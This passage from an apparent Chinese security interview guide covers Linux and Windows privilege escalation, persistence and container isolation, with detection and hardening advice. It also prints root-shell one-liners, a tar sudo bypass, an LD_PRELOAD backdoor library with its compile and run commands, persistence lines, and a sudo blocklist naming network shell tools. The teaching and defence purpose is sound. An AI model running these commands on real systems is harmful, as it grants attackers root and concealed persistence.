  runtimeClassName: gvisor    # ★ 用 gVisor 跑
  containers:
    - name: user-code
      image: user-submitted-code:latest

三者对比:

运行时 隔离方式 性能 兼容性 适用场景
runc(默认) Namespace + cgroup 原生 100% 可信负载、单租户
gVisor (runsc) 用户态内核(Sentry 拦截系统调用) 下降 10~30%(系统调用密集的场景可能下降更多) ~90%(部分系统调用不支持) 多租户、CI 跑用户代码、Serverless
Kata Containers 每个 Pod 一个轻量 VM 接近原生(VM 开销小),启动 ~500ms ~95% 强合规要求、多租户、金融/政务
Firecracker microVM(AWS Lambda 用的) 高 中等 Serverless / FaaS

选型建议(务实版): 90% 的公司用 runc + Pod Security Admission restricted + Falco 就够了。 真正需要强隔离的是:跑不可信代码的场景 (CI 平台执行用户提交的代码、Serverless、在线代码执行沙箱、 多租户 SaaS 里跑客户的自定义脚本)。 别为了“更安全”给所有业务上 Kata——性能损耗和运维复杂度会让你后悔。

6.7 面试题 F 组:主机与操作系统安全(30 题)

说明:F 组聚焦“主机层”。难度分级: ⭐ 基础概念 / ⭐⭐ 理解原理 / ⭐⭐⭐ 实战经验 / ⭐⭐⭐⭐ 体系设计

面试话术原则(沿用前面各章): ① 先给结论 ② 再给原理 ③ 然后给防御 ④ 最后说真实经验或踩过的坑 不要一上来就背工具命令——工具是手段,原理才是面试官想听的。


6.7.1 基础题(12 题)

F1(⭐)什么是提权?纵向提权和横向提权有什么区别?

一句话回答: 提权就是从低权限变成高权限。纵向=升级(员工→经理),横向=平移(员工→另一个员工)。

展开:

纵向提权(Vertical Privilege Escalation):
  权限等级变高了
  www-data → root,普通域用户 → Domain Admin
  典型手段:内核漏洞、SUID、Sudo 配错、Potato 系列

横向提权(Horizontal Privilege Escalation):
  权限等级没变,但拿到了【别人】的权限
  张三 → 李四(同级别),这台机器 → 那台机器
  典型手段:凭据窃取(mimikatz)、哈希传递(PTH)、
            内网横向移动(PsExec / WMI / SMB)

★ 真实攻击里两者是交替使用的:
  拿到 Web 服务器普通用户 → 【纵向】提到 root
  → dump 内存拿密码 → 【横向】到数据库服务器
  → 在数据库服务器上【纵向】提权 → 再横向...
  → 最终拿到域控 → 【纵向】到 Domain Admin

面试官追问:为什么横向提权在域环境里特别可怕?

因为共享密码。如果一个域管在多台机器上都用同一个密码登录过,
dump 任意一台机器就能拿到域管凭据。
所以微软才推 LAPS(每台机器本地管理员密码随机化)——
它把"一台沦陷 = 全网沦陷"变回"一台沦陷 = 一台沦陷"。

F2(⭐)Linux 的 SUID 是什么?它为什么能用来提权?

一句话回答: SUID 是文件的一个特殊权限位。设了 SUID 的程序,执行时会“临时获得文件主人的权限”。如果文件主人是 root 且程序有漏洞/能被利用,普通用户就能借它拿到 root。

展开:

权限位:rwxrwxrwx 前面还有 3 个特殊位
  4000 = SUID(执行时临时拥有【文件主人】的权限)
  2000 = SGID(执行时临时拥有【文件所属组】的权限;目录上表示新建文件继承组)
  1000 = Sticky(目录里只有文件主人能删自己的文件,/tmp 就是)

SUID 的合理性(生活类比):
  /usr/bin/passwd 就是 SUID 的(属主 root)
  普通用户要改自己的密码,必须写 /etc/shadow(只有 root 能写)
  于是 passwd 程序以 root 身份运行,但内部限制了"只能改自己的密码"
  = 一台"员工自助改密码机":以管理员权限工作,但功能被限制死了

危险在哪:
  如果某个 SUID 程序【功能没限制死】——
  比如能执行任意命令、能读任意文件、能加载任意库
  → 普通用户就能借它的 root 身份干任何事

典型例子(GTFOBins 上有几百个):
  find    :find . -exec /bin/sh -p \; -quit
  vim     ::!/bin/sh
  nmap    :nmap --interactive → !sh
  python  :python -c 'import os; os.setuid(0); os.system("/bin/sh")'
  cp/mv   :覆盖 /etc/passwd 或 /etc/sudoers
  bash    :bash -p(★ -p 参数不降权,直接用真实 euid)

检测方法:

# 找出所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 和系统自带的白名单比对(新装机时先存一份基线)
find / -perm -4000 -type f 2>/dev/null | sort > /root/suid_baseline.txt
# 之后定期比对
find / -perm -4000 -type f 2>/dev/null | sort | diff - /root/suid_baseline.txt

# 用 GTFOBins 清单交叉比对

防御:

① 定期审计 SUID 文件,非必要的去掉:chmod u-s /path/to/file
② 挂载时用 nosuid 选项(/tmp、/home、/dev/shm 都应该 nosuid)
③ 用 Capabilities 替代 SUID(更细粒度)
   比如 ping 需要 CAP_NET_RAW:
     setcap cap_net_raw+ep /usr/bin/ping   # 不用设 SUID
④ 容器里:--no-new-privileges(SUID 位在容器里不生效)

F3(⭐⭐)SUID 提权时为什么要加 -p 参数(如 sh -p)?

一句话回答: 不加 -p,shell 启动时会主动把自己的有效权限降回真实用户的权限(这是一个安全特性)。加 -p 是告诉 shell“别降权”。

展开(讲透三套 UID):

Linux 里每个进程有三套 UID:

  真实 UID(ruid, Real UID)      :你【实际上】是谁(登录的用户)
  有效 UID(euid, Effective UID) :你【现在能用什么权限】做事(★ 权限检查看这个)
  保存 UID(suid, Saved UID)     :暂时存着,方便在 ruid 和 euid 之间切换

执行 SUID 程序时:
  ruid = 1000(你)
  euid = 0(因为程序属主是 root,SUID 生效)← ★ 你现在有 root 权限了

问题来了:
  bash/sh 这类 shell 有个【安全特性】——
  启动时如果发现 ruid ≠ euid,会主动把 euid 降回 ruid。
  目的是防止"不小心带着高权限跑一堆命令"。

所以:
  find . -exec /bin/sh \;      # sh 启动后 euid 降回 1000 → 没提权
  find . -exec /bin/sh -p \;   # -p = 保持特权模式,euid 保持 0 → 提权成功

★ -p 的全称是 privileged mode,man bash 里有说明:
  "If the shell is started with the effective user (group) id not equal to
   the real user (group) id, and the -p option is not supplied, ...
   the effective user id is set to the real user id."

面试加分点:

其他语言的类似情况:
  Python:os.setuid(0) 要显式调用(因为 Python 不会自动降权)
      python -c 'import os; os.setuid(0); os.system("/bin/sh")'
      # 不加 setuid 也能行,因为 Python 不自动降权
  Perl :$< = $>(改变 ruid/euid)
      perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

★ 所以 GTFOBins 上 bash/sh 的提权命令一定带 -p,而 python/perl 的不带。
   理解了这个区别,你就是在"懂原理"而不是"背命令"。

F4(⭐⭐)sudo 提权常见的几种配置错误是什么?

一句话回答: sudo 本身没问题,问题出在“允许用 sudo 跑哪些程序”。允许跑的程序里如果有能起 shell 的、能读任意文件的、或者路径带通配符的,就能被绕过。

五种姿势:

① 【能跑 shell】
   sudoers: bob ALL=(root) NOPASSWD: /bin/bash
   → sudo bash 直接是 root

② 【GTFOBins 上的程序】(最常见)
   sudoers: bob ALL=(root) NOPASSWD: /usr/bin/vim
   → sudo vim -c ':!/bin/sh'
   sudoers: ... /usr/bin/find
   → sudo find . -exec /bin/sh \; -quit
   这类程序有几百个(less/more/awk/man/git/python/perl/tar/zip...)

③ 【通配符 + 路径穿越】(★ 最隐蔽)
   sudoers: bob ALL=(root) NOPASSWD: /usr/bin/tar -cf /backup/* 
   → sudo tar -cf /backup/xxx --checkpoint=1 --checkpoint-action=exec=sh shell.sh
     通配符让攻击者能塞入任意 tar 参数,tar 有参数能执行外部命令

④ 【LD_PRELOAD 环境变量没清】
   sudoers 里有 env_keep += "LD_PRELOAD"(或 Defaults env_reset 没开)
   → 写个恶意 .so 劫持函数,sudo 执行命令时先加载它

⑤ 【sudo 令牌复用】
   sudoers: bob ALL=(root) NOPASSWD: ALL
   或者 bob 刚 sudo 过(5 分钟内不用再输密码)
   → sudo -n /bin/bash(-n = 非交互,不用输密码)
   攻击者拿到 bob 的 shell 后直接 sudo -n 就能提权
   ★ 这解释了为什么建议 timestamp_timeout=0

安全的 sudoers 配置模板:

# /etc/sudoers.d/99-secure

# ★ 重置环境变量(防 LD_PRELOAD / LD_LIBRARY_PATH 劫持)
Defaults    env_reset
Defaults    env_delete = "LD_PRELOAD LD_LIBRARY_PATH PYTHONPATH PERL5LIB"
Defaults    secure_path = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# ★ 令牌立即失效(每次都要输密码,防令牌复用)
Defaults    timestamp_timeout = 0

# ★ 输错密码就锁定(防爆破)
Defaults    passwd_tries = 3
Defaults    lock_timeout = 1

# ★ 记录日志(集中外发)
Defaults    logfile = "/var/log/sudo.log"
Defaults    log_input, log_output          # 记录 sudo 会话的输入输出(取证用)
Defaults    iolog_dir = "/var/log/sudo-io"

# ★ 只在真正需要时给权限,且写全路径 + 写死参数
#   错误:bob ALL=(root) NOPASSWD: /usr/bin/tar
#   正确:
bob ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
bob ALL=(root) NOPASSWD: /usr/bin/tar -cf /backup/app.tar.gz /opt/app/

# ★ 绝不能出现在 sudoers 里的程序(部分清单)
#   bash sh zsh dash fish
#   vim vi nano emacs ed
#   find awk sed perl python python3 ruby php lua node
#   less more man git ftp nc ncat socat telnet ssh scp rsync
#   tar zip unzip gzip cpio dd
#   env sudo su
#   cp mv rm chmod chown chgrp
#   (凡是可执行任意代码、可读任意文件、可改任意文件的程序都算)

自查脚本:

#!/bin/bash
# check_sudo_risk.sh
echo "=== 危险的 sudoers 配置 ==="
grep -E "NOPASSWD:\s*ALL|ALL=\(ALL\)\s*ALL" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

echo ""
echo "=== 可提权的程序(GTFOBins 常见)==="
DANGEROUS="bash sh zsh vim vi nano find awk sed perl python3 python ruby php node less more man git tar zip unzip env ftp nc socat telnet ssh scp rsync dd"
for prog in $DANGEROUS; do
    if grep -qE "NOPASSWD:.*\b$prog\b" /etc/sudoers /etc/sudoers.d/* 2>/dev/null; then
        echo "  ★ 发现可提权程序: $prog"
    fi
done

echo ""
echo "=== 通配符风险 ==="
grep -E "\*" /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep -v "^\s*#"

echo ""
echo "=== env_keep 配置(危险:可能保留 LD_PRELOAD)==="
grep -E "env_keep" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

echo ""
echo "=== 当前用户能 sudo 什么 ==="
sudo -l

F5(⭐⭐)什么是 Linux Capabilities?它比 SUID 好在哪?

一句话回答: Capabilities 把 root 的“超级权限”拆成了 40 多个独立的小权限,可以只授予程序需要的那一个。比 SUID 好,因为 SUID 是“给全部权限”,Capabilities 是“给最小权限”。

展开:

传统模型的问题:
  程序需要"发原始网络包"(ping 需要)→ 只能给 SUID → 于是它有了【完整的 root】
  一旦程序有漏洞,攻击者拿到的是全部 root 权限

Capabilities 的解法:
  root 的权限被拆分:
    CAP_NET_RAW       发原始网络包
    CAP_NET_BIND_SERVICE  绑定 1024 以下端口
    CAP_SETUID/SETGID     改变进程 UID/GID
    CAP_SYS_ADMIN         一大堆杂项("新的 root")
    CAP_SYS_MODULE        加载/卸载内核模块
    CAP_SYS_PTRACE        ptrace 任意进程
    CAP_DAC_OVERRIDE      绕过文件读写权限检查
    CAP_DAC_READ_SEARCH   绕过文件读权限和目录执行权限
    CAP_CHOWN             改文件属主
    CAP_KILL              杀任意进程
    ...(共 40+ 个)

  于是 ping 只需要:
    setcap cap_net_raw+ep /usr/bin/ping
  而不用 chmod u+s(SUID)

  ★ 即使 ping 有漏洞,攻击者也只能拿到 CAP_NET_RAW,
    干不了加载内核模块、读 /etc/shadow 这些事

它也有危险面(面试官想听你“两面看”):

Capabilities 不是银弹。有几个 capability 单独给出去就等于给 root:

  CAP_SYS_ADMIN        ★ "新的 root",能 mount、能操作 cgroup、能干一堆事
                       → 容器里有它 = 大概率能逃逸
  CAP_SETUID           → 直接 setuid(0) 变 root
  CAP_DAC_READ_SEARCH  → 能读任意文件(包括 /etc/shadow)
  CAP_DAC_OVERRIDE     → 能写任意文件(改 /etc/passwd、/etc/crontab)
  CAP_SYS_PTRACE       → 能注入任意进程(包括 root 进程)
  CAP_SYS_MODULE       → 能加载内核模块(直接装 rootkit)
  CAP_SYS_RAWIO        → 能直接读写内存和端口

所以:给 capability 的时候也要最小化,
      尤其【永远不要给】CAP_SYS_ADMIN / CAP_SYS_MODULE / CAP_SYS_PTRACE。

常用命令:

# 查看进程的 capabilities
grep Cap /proc/<PID>/status
#   CapInh = 可继承集  CapPrm = 许可集  CapEff = 有效集  CapBnd = 边界集

# 解码(看具体有哪些)
capsh --decode=00000000a80425fb

# 查看文件的 capabilities
getcap /usr/bin/ping
#   /usr/bin/ping = cap_net_raw+ep
#   +e = effective(立即生效)  +p = permitted(允许使用)  +i = inheritable(可继承)

# 查找所有带 capability 的文件(提权审计必做)
getcap -r / 2>/dev/null

# 设置 / 清除
setcap cap_net_bind_service+ep /usr/local/bin/myapp
setcap -r /usr/bin/ping          # 清除

# 容器里
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp

F6(⭐⭐)LD_PRELOAD 是什么?它怎么被用来提权和隐藏后门?

一句话回答: LD_PRELOAD 是动态链接器的一个环境变量,能让你在程序启动前先加载指定的 .so 库,从而“替换”掉程序调用的函数。既能提权(劫持 sudo 会调用的函数),也能做后门(劫持系统命令,隐藏自己的进程和文件)。

原理(讲透):

Linux 程序运行时要调用 libc 里的函数(比如 printf、fopen、readdir)。
这个"找函数"的过程叫【动态链接】,由 ld.so 完成。

LD_PRELOAD 告诉 ld.so:
  "在找系统库之前,先加载我指定的这个 .so"
  "如果我的 .so 里也有 printf,就用我的,别用 libc 的"

生活类比:
  你要去图书馆借《如何打开文件》,
  有人在半路拦住你给了你一本同名的假书,
  你按假书里的步骤做,就把密码输给了他。

提权用法:

// evil.c —— 劫持 getuid(),让程序以为自己是 root
#include <stdio.h>
#include <sys/types.h>
#include <dlfcn.h>

// ★ _init() 是构造函数,.so 被加载时自动执行
void _init(void) {
    // 卸载自己(避免影响后续)
    unsetenv("LD_PRELOAD");
    // 直接起一个 root shell(此时 euid 已经是 root 了)
    system("/bin/bash -p");
}

// 或者劫持某个函数
uid_t getuid(void) {
    return 0;    // 永远返回 0(root)
}
# 编译
gcc -shared -fPIC -o evil.so evil.c -ldl

# 用法 1:sudo 保留了 LD_PRELOAD 环境变量
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find
# → .so 被加载,_init() 执行,拿到 root shell

# 用法 2:攻击者登录后直接设环境变量(影响自己启动的所有命令)
export LD_PRELOAD=/tmp/evil.so

后门用法(Rootkit 级别):

劫持这些函数,就能"骗过"系统工具:

  劫持 readdir / readdir64   → ls 看不到你的文件
  劫持 open / fopen          → 读不到你的文件内容(或读到假内容)
  劫持 fopen(针对 /proc)    → ps 看不到你的进程
  劫持 getdents / getdents64 → 更底层的目录遍历,ls/find 都中招
  劫持 strcmp / pam_authenticate → 万能密码
  劫持 connect / accept      → 隐藏网络连接,netstat/lsof 看不到
  劫持 write(针对日志文件)  → 你的操作不进日志

★ 最狠的做法:写进 /etc/ld.so.preload
   这个文件里的 .so 会被【所有进程】加载(包括 SUID 程序)
   → 全局生效,比 env_keep 的 LD_PRELOAD 更彻底
   → 而且 root 自己也会被"蒙蔽"(你自己 ls 也看不到后门)

六大检测方法(面试高频):

# ① 交叉验证(★ 最有效)
#    用【不依赖 libc 的静态程序】去查,结果和动态程序不一样就是有问题
busybox-static ps aux                 # 静态版 ps(不受 LD_PRELOAD 影响)
busybox-static ls -la /tmp
#   普通 ls 看不到,但 busybox-static ls 看得到 → 中招了

# ② 检查环境变量
cat /proc/<PID>/environ | tr '\0' '\n' | grep -i "LD_PRELOAD\|LD_LIBRARY_PATH"

# ③ 检查 /etc/ld.so.preload(★ 重点)
cat /etc/ld.so.preload 2>/dev/null
#   正常应该是【不存在】或【空文件】
lsattr /etc/ld.so.preload    # 攻击者常会 chattr +i 保护它

# ④ 查看进程加载了哪些库
cat /proc/<PID>/maps | grep "\.so"
lsof -p <PID> | grep "\.so"
#   找不该出现的路径(/tmp、/dev/shm、/var/tmp 下的 .so)

# ⑤ 文件完整性校验
dpkg -V libc6                # Debian/Ubuntu:校验系统包的文件
rpm -Va                      # RHEL/CentOS:校验所有包(慢但全)
#   输出里的 "S"(大小变了)"5"(md5 变了)"T"(时间变了)要警惕

# ⑥ 用 chkrootkit / rkhunter 扫
chkrootkit
rkhunter --check --skip-keypress
#   它们内置了常见 rootkit 的特征库

防御:

# ① sudoers 里重置环境变量(★ 挡住 sudo 场景)
Defaults    env_reset
Defaults    env_delete = "LD_PRELOAD LD_LIBRARY_PATH"

# ② 保护 /etc/ld.so.preload
chattr +i /etc/ld.so.preload 2>/dev/null   # 先创建空文件再锁
# 或者至少监控它(auditd 规则):
# -w /etc/ld.so.preload -p wa -k ld_preload_tamper

# ③ 用静态链接的关键工具(放一份在只读介质上)
#    busybox-static、静态版 ps/netstat/lsof
#    应急响应时从 U 盘启动,用这些工具查

# ④ 挂载选项:/tmp /dev/shm /var/tmp 用 noexec,nosuid
#    挡住"落地 .so 并加载"

# ⑤ 完整性监控(AIDE / Tripwire)
#    监控 /etc/ld.so.preload、/etc/ld.so.conf.d/、系统库目录

诚实结论: 一旦 /etc/ld.so.preload 被写入恶意 .so,而且攻击者清了日志、 你可能根本发现不了。这就是为什么应急响应时的标准做法是: 从可信的 Live CD/U 盘启动,离线挂载磁盘检查—— 因为宿主机上的所有命令都可能是“被劫持的版本”。


F7(⭐⭐⭐)脏牛(Dirty COW)是什么原理?为什么它存在了 9 年才被发现?

一句话回答: 脏牛是 Linux 内核内存管理子系统的一个**竞态条件(Race Condition)**漏洞——利用“写时复制(Copy-on-Write)“机制在多步骤处理中的时间窗口,把一个只读文件改掉。它存在 9 年(2007~2016),因为竞态条件的代码路径极其隐蔽,人工审查找不到。

原理(生活类比讲透):

先讲什么是 Copy-on-Write(写时复制):

  图书馆有一本古籍(只读文件),不允许在上面写字。
  但你要做笔记,于是管理员去复印一份副本给你(COW)。
  你在副本上写字,古籍原封不动。

脏牛的漏洞在"复印"这个过程中的【时间差】:

  正常流程(3 步):
    ① 你说"我要改这一页"(发起写请求)
    ② 管理员去复印(内核做 COW,分配新页面)
    ③ 你在【副本】上改(写入新页面)

  漏洞(攻击者构造):
    ① 你说"我要改这一页",同时【另一个线程不断丢弃这个副本】
    ② 管理员去复印了,但你说"哦我不要了"(madvise(DONTNEED))
    ③ 管理员只好【重新复印】
    ④ 你在管理员【刚建好副本、还没切换指针】的那一瞬间写入
    ⑤ 内核的页表还没更新完,你的写【落到了古籍原件上】

    → 只读文件被改了!

技术要点(面试要能说出来):

漏洞位置:mm/gup.c 里的 __get_user_pages() 函数
         (处理"获取用户空间内存页"的内核函数)

触发条件:
  ① 打开文件时用 O_RDONLY(只读)
  ② 用 MAP_PRIVATE 映射(私有映射,写时复制)
  ③ 一个线程不断写 /proc/self/mem 尝试写入
  ④ 另一个线程不断 madvise(MADV_DONTNEED) 丢弃已 COW 的页
  ⑤ 两个线程竞争,抢在 FOLL_WRITE 标志被清除的瞬间写入

结果:
  - 可以改任何只读映射的文件
  - 常见利用:改 /etc/passwd(加 root 账号)、
              改 SUID 程序(植入后门)、
              改 /proc/self/mem 直接提权

影响范围:Linux 2.6.22(2007)~ 4.8.3(2016)
CVE:CVE-2016-5195
修复:内核引入 FOLL_COW 标志,正确区分"写访问"和"COW"

为什么 9 年才被发现:

① 代码路径极长:涉及内存管理、页表、缺页异常处理,
   要理解它需要同时精通好几个子系统
② 没有"错误":代码看起来完全正确,逻辑自洽。
   问题出在【并发】场景下的时序,而不是某行代码写错了
③ 触发窗口极窄:只有几微秒的时间窗口,
   正常测试和代码审计碰不到
④ 被发现的方式很偶然:
   Phil Oester 是在分析一个【生产环境的真实入侵】时发现攻击者用了这个 0day,
   回溯才定位到的——不是研究人员主动挖出来的

★ 这告诉我们什么:
   内核里可能还有类似的漏洞在躺着(后来确实又出了 Dirty Pipe)。
   所以:及时打补丁 + 减少内核攻击面,比"相信内核没问题"重要得多。

同类漏洞对比:

漏洞 CVE 年份 原理 影响
Dirty COW CVE-2016-5195 2016(潜伏 9 年) COW 竞态 2.6.22~4.8.3
PwnKit CVE-2021-4034 2021(潜伏 12 年) polkit 的 pkexec 在 argc=0 时越界读写环境变量 几乎所有 Linux(2009 年起)
Dirty Pipe CVE-2022-0847 2022 pipe_buffer 的 flags 未初始化,能往只读文件写 5.8~5.16.11

PwnKit 特别值得一提(面试加分):

它甚至不需要"竞态",是纯逻辑漏洞,稳定性 100%:

  pkexec 是 polkit 的提权程序(SUID)。
  它的代码从 argv[1] 开始读参数,但 argv[0] 是程序自己的路径。

  如果你 execve 时传【空的 argv】(argc = 0):
    ① pkexec 读 argv[1] → 越界读到了【环境变量区】
    ② pkexec 写 argv[1] → 越界写到了【环境变量区】
    ③ 攻击者精心构造环境变量(比如 GCONV_PATH、LD_PRELOAD)
    ④ pkexec 会把这些"环境变量"当成路径去加载
    ⑤ 加载了攻击者的 .so → 提权到 root

  ★ 关键认知:这是一个"读代码就能发现"的漏洞,
    但它躺了 12 年。说明【被广泛使用的软件也可能长期没人认真审】。

F8(⭐⭐)什么是持久化?Linux 上常见的持久化手段有哪些?

一句话回答: 持久化就是“重启、改密码、修漏洞之后,我的入口还在”。Linux 上常见的有六个层次:账户、服务、定时任务、动态库、替换命令、内核态。

六个层次(按隐蔽程度):

L1 【账户类】★☆☆☆☆
   加一个 uid=0 的账号、改 root 密码、往 ~/.ssh/authorized_keys 加公钥
   检测:awk -F: '$3==0' /etc/passwd;检查所有用户的 authorized_keys

L2 【服务类】★★☆☆☆
   创建 systemd service(Restart=always)、改 rc.local、
   往 /etc/profile.d/ 或 ~/.bashrc 塞命令
   检测:systemctl list-unit-files;检查 profile.d

L3 【定时类】★★★☆☆
   crontab、/etc/cron.d/、systemd timer、at
   常用:反弹 shell、不落地下载执行、藏在已有脚本里
   检测:检查所有用户的 crontab + /etc/cron* 目录

L4 【库类】★★★★☆
   /etc/ld.so.preload(★ 全局劫持,SUID 程序也中招)
   劫持动态库函数(隐藏文件/进程/端口)
   检测:检查 /etc/ld.so.preload;dpkg -V;静态版 ps 交叉验证

L5 【替换命令】★★★☆☆
   替换 /bin/ps、/bin/ls、/bin/netstat(让管理员查不到)
   替换 sshd(记录所有登录密码)
   检测:dpkg -V / rpm -Va;file /usr/sbin/sshd(看是不是脚本)

L6 【内核态】★★★★★
   LKM Rootkit(hook sys_call_table)、eBPF 后门
   能隐藏进程/文件/网络连接/模块本身
   检测:lsmod 对比 /proc/modules;dmesg;Volatility 内存取证

最常被忽略的三种(面试加分):

① 【authorized_keys】—— 最常用,因为"看起来完全正常"
   echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
   一个正常运维也在用的机制,日志里就是一次正常登录,无从分辨
   ★ 防御:AuthorizedKeysFile 集中管理(不能用用户自己目录下的文件)

② 【SSH 后门】—— 四种手法
   a) PAM 后门:编译一个恶意 PAM 模块,写死一个"万能密码"
      → 任何用户输这个密码都能登录,日志里是"认证成功"
   b) 软链接:/usr/sbin/sshd -> /tmp/evil_sshd
   c) wrapper 替换:把真 sshd 改名,写个脚本假扮 sshd
      → 检测:file /usr/sbin/sshd(真 sshd 是 ELF,假的会显示脚本/文本)
   d) authorized_keys 的 command= 选项:
      command="/bin/bash" ssh-rsa ...(连上就是 shell)

③ 【/etc/profile.d/*.sh】—— 极隐蔽
   所有用户登录时都会执行 /etc/profile.d/ 下的脚本
   攻击者放一个看似正常的脚本(比如 00-lang.sh),在末尾加一句
      (nohup /tmp/.x11-unix/beacon >/dev/null 2>&1 &)
   → 任何人登录都会触发一次,而且脚本名字看起来像系统文件
   → 很多人查持久化时【只查 crontab 和 service】,漏掉这个

持久化检测一键脚本要点:

至少要覆盖这 9 项:
  ① 账户(uid=0 的、新建的、shell 异常的、密码为空的)
  ② SSH(authorized_keys、sshd 文件类型、known_hosts 变更)
  ③ 服务(systemd unit、rc.local、init.d)
  ④ 定时任务(用户 crontab + /etc/cron*)
  ⑤ 动态链接(/etc/ld.so.preload、LD_PRELOAD 环境变量、ld.so.conf.d)
  ⑥ SUID + Capability(对比基线)
  ⑦ Rootkit(chkrootkit、rkhunter、lsmod vs /proc/modules)
  ⑧ 网络(异常监听端口、异常外连、/etc/hosts 被改)
  ⑨ 日志(日志被清空、auditd 被停、history 被清)

★ 核心原则:
   【不要相信这台机器上的任何命令输出】
   应急响应时从只读介质启动,或者至少用带静态链接的工具交叉验证。

F9(⭐⭐)Windows 的 UAC 是什么?它算安全边界吗?

一句话回答: UAC 是“用户账户控制”,就是那个“是否允许此应用对你的设备进行更改?“的弹窗。它不是安全边界——微软官方明确这么说。它的作用是防误操作和逼恶意软件弹一次窗,而不是防攻击。

机制(讲透):

① 管理员登录后,Windows 生成【两张令牌】:
   - 完整令牌(High IL):Administrators 组启用,全部特权
   - 过滤令牌(Medium IL):Administrators 组变成 deny-only,特权被摘掉

② 你打开的所有程序默认用【过滤令牌】

③ 右键"以管理员身份运行"+ 点"是" → 才换成完整令牌

★ 所以 UAC 的本质是"默认给你低权限,需要时再要一次授权"

为什么说它不是安全边界:

① 有几十种公开的 Bypass 方法(UACME 项目收录了 70+ 种)
   原理:利用系统自带的 autoElevate 程序(fodhelper.exe、eventvwr.exe 等)
        这些程序 Windows 信任、不弹窗直接给 High IL,
        攻击者让它们去加载自己的 DLL 或执行自己的命令 = 搭便车提权

② 从网络/服务进来的操作根本不触发 UAC
   服务(SYSTEM)、PsExec、WMI 过来的操作直接就是最高权限

③ UAC 只防"写入高 IL 对象",不防"读取敏感信息"

④ 微软官方立场(MSRC 的明确声明):
   "UAC 不是安全边界,我们不会为 UAC 绕过发安全补丁"

那怎么防(真正有效的):

★ 最有效的一条:【不让普通用户是本地管理员】
  没有管理员组成员身份 → 就没有"完整令牌"可以拿 → UAC 绕过毫无意义

  配套:
  - 软件白名单(AppLocker / WDAC)挡住未授权程序执行
  - EDR 检测 UAC 绕过的特征行为(修改特定的 ms-settings 注册表键)
  - 需要管理员权限时走"特权管理(PAM/PIM)":
    临时提权 + 审批 + 会话录像 + 自动回收

面试话术:
  "UAC 我理解成一个'减速带'而不是'围墙'。
   它提高了门槛,但拦不住决心已定的攻击者。
   真正管用的是不给本地管理员权限 + 应用白名单 + EDR。"

F10(⭐⭐)什么是 Windows 的“令牌(Token)”?Potato 系列提权是怎么用它的?

一句话回答: 令牌是 Windows 进程携带的身份凭证,记录“我是谁、我属于哪些组、我有什么特权”。Potato 系列利用 Windows 的“模拟(Impersonation)“机制——骗一个 SYSTEM 进程来连接你,然后调用 ImpersonateNamedPipeClient 借用它的令牌,再用 CreateProcessAsUser 以 SYSTEM 身份起进程。

前提(关键):

你需要这两个特权之一:
  SeImpersonatePrivilege(身份验证后模拟客户端)★
  SeAssignPrimaryTokenPrivilege(替换进程级令牌)

★ 而这两个特权恰恰是【Web 服务账号默认就有】的:
  IIS 的应用程序池身份、SQL Server 服务账号、各种服务账号

★ 这解释了"为什么拿下 ASPX WebShell 往往直接就是 SYSTEM"——
  不是 WebShell 多厉害,是服务账号本身就带着提权门票。

流程(四步):

① 攻击者在本地起一个【命名管道】(或 RPC 服务器)
② 想办法骗一个 SYSTEM 进程主动来连这个管道
   ——这一步是各种 Potato 版本的核心差异:
     Hot Potato     :NBNS 欺骗 + WPAD 劫持,让 Windows Update 来连
     Rotten Potato  :利用 COM 的 IStorage 激活,让 SYSTEM 通过本地 RPC 连
     Juicy Potato   :Rotten 的改进,可指定 CLSID
     PrintSpoofer   :利用"打印机通知"机制让 spoolsv.exe(SYSTEM)来连
     SweetPotato    :自动选可用方法
     GodPotato      :针对最新补丁的新方法
③ SYSTEM 连上来后,调用 ImpersonateNamedPipeClient(pipe)
   ——一句 API,你就"变成" SYSTEM 了
④ 用这个令牌 CreateProcessAsUser(...) → SYSTEM 的 cmd

一句话解释为什么这能成(面试官最想听的):

Windows 服务有个"代表客户端操作"的需求(比如打印服务要用你的身份
去文件服务器取文件),所以设计了"模拟令牌"机制。
但这个机制的鉴权很宽松——它只验证"你要模拟的那个连接是有效的",
不验证"你有没有资格模拟"。
只要 SYSTEM 主动连到你这里,你就获得了模拟它的资格。

防御(诚实版):

★ 坏消息:只要攻击者拿到带 SeImpersonatePrivilege 的代码执行点,
  在【没有 EDR】的环境里,他几乎一定能提到 SYSTEM。
  这是 Windows 架构决定的,微软也一直没在默认配置里改
  (因为去掉这个特权会搞挂很多东西)。

可行的缓解:
  ① Web 服务别用高特权账号跑(用 ApplicationPoolIdentity / gMSA)
  ② 上 EDR —— 这类攻击特征非常明显:
     - 非 SYSTEM 进程创建命名管道并调用 ImpersonateNamedPipeClient
     - 进程令牌从 Medium IL 突然变成 System IL
     - w3wp.exe 这类 Web 进程派生了 cmd.exe / powershell.exe
  ③ Sysmon Event 1(进程创建)+ 父进程异常检测
  ④ 及时打补丁(微软在持续封堵各个触发点,但这是猫鼠游戏)

★ 优先级认知:
   防 Web 入口的 RCE + 上 EDR,比"研究怎么修 Potato"重要得多。

F11(⭐⭐)容器逃逸是什么?和虚拟机逃逸有什么区别?

一句话回答: 容器逃逸就是从容器里跑出来,拿到宿主机的权限。和虚拟机逃逸的区别在于:容器共享宿主机内核,所以逃逸难度低得多、姿势多得多、后果也直接得多。

对比(讲透):

【虚拟机】= 独栋别墅,每栋有自己的内核、自己的驱动
  隔离层:Hypervisor(硬件级)
  逃逸难度:极高(要攻破 Hypervisor,一年出不了几个 CVE)
  逃逸后果:拿到 Hypervisor 上的其他 VM

【容器】= 同一栋楼里的公寓,共享同一套地基(内核)
  隔离层:Namespace(蒙眼)+ cgroup(限额)+ capabilities(捆手)
  逃逸难度:中(姿势一大把,很多是"配置问题"而不是"漏洞")
  逃逸后果:★ 直接拿到宿主机 root = 这台机器上【所有容器】全沦陷

★ 核心认知:
   容器里的 root 和宿主机的 root 是【同一个 UID 0】。
   之所以"容器里的 root 干不了宿主机的事",
   仅仅因为它被蒙着眼、被捆着手。
   一旦这两样被拿掉,它就是真的 root。

